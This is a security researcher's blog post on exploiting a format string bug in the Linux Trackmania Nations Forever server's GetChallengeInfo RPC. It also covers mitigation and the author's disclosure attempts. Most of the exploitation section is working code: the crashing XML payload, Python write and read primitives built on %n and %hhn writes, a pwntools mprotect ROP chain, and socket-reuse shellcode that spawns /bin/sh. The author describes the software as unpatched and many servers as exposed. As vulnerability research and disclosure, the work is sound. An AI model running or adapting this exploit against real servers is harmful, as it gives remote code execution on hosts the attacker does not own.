Recap

Last we left off we found a format string bug in the error logger for the Trackmania Nations Forever server. The vulnerable code is reachable from a lot of places, but our entry point is the “GetChallengeInfo” RPC call.

Once more, here is the crashing payload that our fuzzer found:

<?xml version="1.0"?>
<methodCall>
    <methodName>GetChallengeInfo</methodName>
    <params>
        <param>
            <value>%999999s</value>
        </param>
    </params>
</methodCall>

In this post, we will be root-causing the crash and writing an exploit to turn it into full RCE.

Due diligence

Before I show you the exploit, here is how you can protect yourself from it.

Affected versions

This bug affects you if and only if you are running a Linux-based Trackmania Forever server.
To be clear, the following products are not affected:

  • TrackmaniaServer.exe (the Windows equivalent server)
  • Trackmania.exe (Forever client)
  • Newer versions of the server (ManiaPlanet / Trackmania2020)

Mitigation advice

In case you are running the Linux-based Trackmania Forever server, you can still mitigate this vulnerability. You should:

  • Ensure /nodaemon is not used in the startup command for the server. /nodaemon is what opens up the vulnerable code path used in this exploit.
  • Configure a firewall such that the RPC port is not exposed. This just breaks my specific exploit, and may or may not be enough to fully mitigate this bug. In any case, it is a good precaution to take.

Triage

Root cause

GDB can be used to triage the crash we found earlier. I’ve set a breakpoint right before the call to fprintf, and sent the XML payload. In the next screenshot, the format string is stored in arg[1]. If you look at the stack, you can see both fprintf arguments as well.
The fancy decompilation is coming from this binja plugin1.

If you let the program continue, it will tragically encounter a SIGSEGV when it tries to dereference the 999999th string from memory. As you do.

We can try the same call, but with a less “aggressive” argument. For example, let’s query GetChallengeInfo("%p %p %p %p") instead and see what happens. On the stdout of the Server, the following message pops up:

Track '0x2 (nil) 0x8ce048c 0xffffc710' not found.

Format string exploitation 101

Format string bugs can be deadly, as they can provide a way to read and write to memory with only a single bug. As a quick example, this printf call leaks values because it tries to print 3 pointers, while no arguments are provided.

printf("%p %p %p");
// ./a.out 
// 0x7ffe67fe8ca8 0x7ffe67fe8cb8 0x559c14ba4dc0

printf is still going to print ✨something✨ so it will grab some arguments from the stack anyways.

A lesser-known feature of printf is its ability to write to memory using the %n format option. In the next snippet, you can see how the length of “Hello world!\n” is written to a stack variable.

int characters_printed_so_far = 0;
printf("Hello world!\n%n", &characters_printed_so_far);
printf("characters_printed_so_far = %d\n", characters_printed_so_far);
// ./a.out
// Hello world!
// characters_printed_so_far = 13

In a classic CTF challenge, the format string you control is usually also on the stack, which allows you to write anywhere in memory using this trick.

That’s the extremely abridged version, I would recommend LiveOverflow’s intro to format strings if you want to learn more.

Because “%n” is so useful for exploitation, Microsoft actually disables it by default. Hence why this exploit doesn’t affect the Windows server variant.

Exploitability

Back to our bug. The output of printf is sent to the server’s stdout, which we can’t see as a remote attacker. We won’t be able to leak memory contents this way. But wait, it gets worse; if we run vmmap on the address of the format string, we can see it resides on the heap. This means we can’t use the easy <target addr>%x$n method to write to a target address either 😭.

All of this is not to say this printf bug is useless. We can still use the %n specifier to write to locations, just not arbitrary locations. With a few clever writes, however, we can turn this into an arbitrary write primitive.

Upgrading the primitive

Intuitively2, we can still use %n to write to any pointer on the stack. Sadly for us, it doesn’t seem like we can put any of our own pointers on the stack.
This is where the trick comes in. If we find pointers to the stack on the stack, we can use printf to put some content on the stack for us. The cool part? Pointers to the stack are guaranteed to exist because the stack contains base pointers.

You can think of stack frames as a linked list, with each stored base pointer pointing to the base pointer of the previous (i.e. older) stack frame.

This structure is generated by a program like this:

void func3() {
    // StackFrame 3
    //...
}
void func2() {
    // StackFrame 2
    // ...
    func3();
}
void func1() {
    // StackFrame 1
    // ...
    func2();
}

In this example, we could use base pointer 2 to write a value to StackFrame 1. We can write any arbitrary value into that base pointer field, and as long as the frame is not recovered, the program will continue to run fine.

So for example, if we overwrite the stackframe of main(), the program should not return from main() or we risk crashing. Since the Trackmania server uses a game loop and doesn’t return to old functions like main or __libc_start_main, this won’t be an issue.

At this point, it should become clear how to obtain an arbitrary write. You first perform a write to “punch in” your target address, followed by a second write to write a value at the target address.

(This process is also described in Blind Format String Attacks, Kilic et al, but their explanation is overcomplicated for our use case in my opinion.)

Exploitation

Now that we have a plan to obtain an arbitrary write primitive, we can start building the exploit. For reference, here is a checksec of the main server binary.

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

RELRO isn’t really relevant here as the server is statically compiled. The binary is also not position independent (PIE), which makes the arbitrary write primitive very powerful. We can directly start corrupting the process, without first having to leak memory.

Arbitrary write

helper functions

Let’s start with some helper functions. Firstly, we need a simple way to trigger the format string bug:

def throw(format_string):
    contents = f"""
    <?xml version="1.0"?><methodCall><methodName>GetChallengeInfo</methodName>
    <params><param><value>{format_string}</value></param></params></methodCall>
    """.encode()
    return send_content(contents)

Next, we want to abstract away from the nitty-gritty details of the format string and start thinking in terms of abstract primitives. Here is a basic write primitive. It uses the padding feature in printf to print a certain number of characters, corresponding to the address and value to write to.

def write(address, value):
    global offset_2, offset_3
    # We need to account for the length of the "Track '" prefix
    # (This also means this function can't write values < 6)
    initial = len("Track '")
    # Set the target address
    s = f"%{address - initial}d%{offset_2}$n"
    throw(s)
    # Write to the target address
    s = f"%{value - initial}d%{offset_3}$n"
    throw(s)

The “magic” offsets point to different links in a chain of base pointers. For instance, here’s what the chain looks like after writing 0x414141 to 0x8cda7e8:

    offset_1:
f1:03c4│     0xffffccd0 —▸ 0xffffccd8 —▸ 0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141
f2:03c8│     0xffffccd4 —▸ 0x8a26677 —▸ 0xffb8c289 ◂— 0xffb8c289
    offset_2:
f3:03cc│     0xffffccd8 —▸ 0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141
f4:03d0│     0xffffccdc —▸ 0x80484af ◂— add    esp, 0xc
f5:03d4│     0xffffcce0 —▸ 0x8048460 ◂— mov    eax, 0x8cbaa9c
f6:03d8│     0xffffcce4 ◂— 0x0
f7:03dc│     0xffffcce8 —▸ 0x8c77544 ◂— 0x0
f8:03e0│     0xffffccec —▸ 0x8a74634 ◂— mov    eax, dword ptr [ebx - 4]
f9:03e4│     0xffffccf0 ◂— 0x0
fa:03e8│     0xffffccf4 ◂— 0x35 /* '5' */
    offset_3:
fb:03ec│     0xffffccf8 —▸ 0x8cda7e8 ◂— 0x414141

To find useful offsets, I set a breakpoint on the fprintf call and dumped the entire stack in pwndbg (as seen above). By looking for pointers on the stack that point to another location on the stack, you can find such chains. For the next part, we’ll need a chain of three linked stack pointers. “Offset” in this situation means, “In the vulnerable printf call, what argument index gets us to the pointer we want?”. In the above example, offsets 1, 2, and 3 are the 287th, 289th and 297th printf arguments respectively.

Optimizing the write

Our write primitive works, but it is pretty slow. That is because we are only writing in chunks of 4 bytes. So if we want to write the value 0x8048000, the poor server has to print 134.5 MB worth of padding to stdout.

Printf also allows you to write single bytes, which will be much faster. This will require a slightly more complicated address selection procedure, which we can build with a chain of three base pointers.

Essentially, we will be using the second base pointer as a “multiplexer” to select which byte of the third base pointer to write to. To illustrate this, I put together the following gif:

This method is a lot faster, but it does require us to know (or guess) the least significant byte (LSB) of the second base pointer (x). It seems to be 16-byte aligned, so you’d be looking at a 1/16 chance to pull this exploit off without a leaked stack address. Not terrible, but we can do better.

Leak

I did not find a memory disclosure vulnerability, but not to worry, we can use the arbitrary write to induce one. One of the RPC calls we have access to is “GetVersion”. It returns some basic information about the server. The referenced globals contain pointers to the server name, version and build respectively.

void * GetVersion(void *ctx, _xmlrpc_env *env, /* ... */
    CIPCRemoteControl_SAuthParams *session_object) {
  if (session_object != NULL && *(session_object + 0x10) < 3)) {
    return _xmlrpc_build_value(env, "{s:s,s:s,s:s}", "Name", g_server_name,
    "Version", g_server_version, "Build", g_server_build);
  }
  CIPCRemoteControl::SetGbxError(env,"Permission denied.");
  return NULL;
}

We can use this as a way to dereference any address, by overwriting the pointer stored in the g_server_name global with an address. Next time GetVersion is called, the returned “Name” will be the value stored at the address, rather than the expected “TmForever”.

The server stores a pointer to the start of argv in a global (g_argv_leak), so by setting that as the game’s “Name”, we’re able to leak a stack address. offset_2 is at a fixed offset relative to the leaked address, so we can calculate its LSB. We still have to do one slow, naive write to set this up, like so:

def slow_calibrate():
    global offset_2, offset_3
    global mux_initial_lsb
    initial = len("Track '")
    s = f"%{g_game_name - initial}d%{offset_2}$n"
    throw(s)
    s = f"%{g_argv_leak - initial}d%{offset_3}$n"
    throw(s)
    res = version()
    leak = u32(res.split(b"string>")[1][:-2][:4])
    # calculate LSB based on the offset
    mux_initial_lsb = (leak - 0x254) & 0xff

def read(addr):
    write(g_game_name, p32(addr))
    res = version()
    leak = u32(res.split(b"string>")[1][:-2][:4])
    assert leak != u32(b"TmFo"), "Leak is broken, aborting"
    return leak

Implementing the optimization

Since we managed to find the initial LSB, we can now go ahead and upgrade our write primitive. I’ve split it up into a function that updates the target address and a function to perform the write.

Some basic caching will save us a lot of writes, so it’s useful to track the addresses you’re writing.

def set_target_addr(addr):
    global offset_1, offset_2
    global last_target_addr
    for i in range(4):
        # We may be able to skip the loop
        if last_target_addr is not None:
            if ((last_target_addr >> (8*i)) & 0xff) == ((addr >> (8*i)) & 0xff):
                continue

        count = len("Track '")
        # Target byte X of the muxer
        val = 0x100 + mux_initial_lsb + i - count
        s = f"%{val}d%{offset_1}$hhn"
        throw(s)

        # Write the address byte
        val = 0x100 + ((addr >> (8*i)) & 0xff) - count
        s = f"%{val}d%{offset_2}$hhn"
        throw(s)
    last_target_addr = addr

The write function now becomes fairly simple, we just isolate one byte at a time and update the target address to write it to the correct location.

def write(addr, value):
    initial = len("Track '")
    log.info(f"WRITE(0x{addr:x}, {value})")

    assert len(value) <= 4
    for i, byte in enumerate(value):
        set_target_addr(addr + i)

        val = 0x100 + byte - initial
        s = f"%{val}d%{offset_3}$hhn"
        throw(s)

(In case you’re wondering, the 0x100’s are there to overflow once so we can write values smaller than len("Track '"))

ROP

At this point, we have primitives for read and writes, so it is pretty much game over. After trying a couple exploitation strategies, I ended up writing a ROP chain directly on the stack and jumping to it by overwriting a saved return pointer.

The chain itself is a fairly standard ROP chain that calls mprotect to make the stack executable before jumping directly to the included shellcode.

Here’s what the code looks like that generates the ROP chain. I make pretty heavy use of pwntools’s ROP features in order to make the code a bit more readable.

argv = read(g_argv_leak)
main_ret = argv - 0x290
log.info(f"Overwriting        : {hex(main_ret)}")

# + 0x2bc offset to move the ROP chain down a bit,
# see next paragraph
rop_base = main_ret + 0x2bc + 4

context.binary = e = ELF("TrackmaniaServer")
context.kernel = context.arch
rop = ROP(e)
int_80_ret = next(e.search(asm("int 0x80; ret;")))

rop.eax = constants.SYS_mprotect
rop.ebx = rop_base & 0xfffff000
rop.ecx = 0x3000
rop.edx = 0x7
# Make the stack executable
rop.call(int_80_ret)
# Jump to the stack
rop.call(rop.jmp_esp)

rop.raw(shellcode)

One final complication here is that the stack needs to remain somewhat valid throughout the entire process. This can be solved by writing the ROP chain further down the stack (higher address) and jumping to it with a small gadget.

Overwriting the return pointer with this gadget needs to happen in one go because the address must be valid for the game loop to run successfully.

# Slow(er) write primitive. The actual write is one-shot
def write_one(addr, value):
    set_target_addr(addr)
    initial = len("Track '")
    log.info(f"WRITE(0x{addr:x}, {value})")
    value = u32(value)
    value -= initial

    s = f"%{value}d%{offset_3}$n"
    throw(s)

log.info("Triggering pivot, prepare for shell")
# 0x08064446: add esp, 0x2bc; ret;
write_one(main_ret, p32(0x08064446))

Shellcode

For our shellcode we can do pretty much whatever we want. The only thing to keep in mind is that we do not have access to the stdin of the process. A reverse shell will do fine, but I opted for some (admittedly more fragile) socket reuse shellcode because it’s fancy.

# Socket re-use shellcode
# <3 https://www.exploit-db.com/exploits/34060
shellcode = asm(f"""
/* We use sys_dup(2) to get the previous attributed sockfd */
push 0x2;
pop ebx;
push 0x29;
pop eax;
int 0x80; //-> call dup(2)
dec eax;

/* Now EAX = our Socket File Descriptor */

mov esi, eax;

/* dup2(fd,0); dup2(fd,1); dup2(fd,2); */
xor    ecx,ecx;
push   esi;
pop    ebx;

.loop:
push   0x3f;
pop    eax;
int    0x80;
inc    ecx;
cmp    cl, 3;
jne    .loop;

/* execve /bin/sh by ipv */
push 0xb;
pop eax;
cdq;
push edx;
xor esi, esi;
push esi;
push 0x68732f2f;
push 0x6e69622f;
mov ebx, esp;
xor ecx, ecx;
int 0x80
""")

Demo

Here is a quick demo video I recorded where I hack into my own VPS using this bug. the terminal in the top-left shows the stdout of the VPS, which shows the vulnerable printf in action. The bottom left shows the log file, where you can see the actual track names being requested.

Closing remarks

Given the extremely low complexity of previous work, I am convinced that there are way worse vulnerabilities in TMNF. If someone were to put in the work to target the game protocol or map parser, I’m sure there are way easier bugs to exploit.

That begs the question, is it even secure to play old games like this online? At least in Ubisoft’s case, there is zero incentive to report bugs in older games. And even if you do report it3, what are the odds that it will get fixed?

Personally, just doing this research has spooked me enough to stop playing TMNF online or loading user-created maps 😅.

The current state of exposed RPC

My initial impression was that no one would be exposing RPC over the internet anyways. It’s not the default setting, and you get a big warning if you do enable it. Still, I managed to find an exposed RPC port for over 10% of the public dedicated servers in the limited port range I scanned (5000-5100).

To be clear, not all of those are necessarily vulnerable. They might be Windows based or running in daemon mode. I did not test the exploit, so I don’t know the real number of vulnerable online hosts. I was just surprised to find this much RPC in the first place.

About half of these also show up on Shodan, though the filter I used requires a subscription.

Disclosure

From the get-go, I knew it would be hard to report bugs for this project. I ended up asking in the Trackmania discord for a contact, which initially seemed to work. However, after providing details and a full exploit over email, it went quiet. A few weeks before posting, I sent out another email to Nadeo to ask if they had any plans of patching or announcing something, but that also fell on deaf ears.

Before making this research public, I reached out to several server owners with the mitigation advice at the start of this post.


  1. I just got binja and I’ve been installing all the plugins. On the odd chance that any APT’s are reading along, just write a cool binja plugin and you’ll have a 50% chance of pwning me ↩︎

  2. if you’re already very familiar with format string bugs, obligatory xkcd cts https://twitter.com/gf_256/status/1430961241644732416 ↩︎

  3. Yes I know they have a bugcrowd profile but that only applies if the product has been updated in the last year. Their bounty curve is also laughably bad. (low: €0 / medium: €0 / high: €0 / critical €3k) + NDA. Imagine writing an exploit for a modern piece of software, getting triaged as “high” priority, only to be “rewarded” with an NDA for a whopping €0. 🤡 ↩︎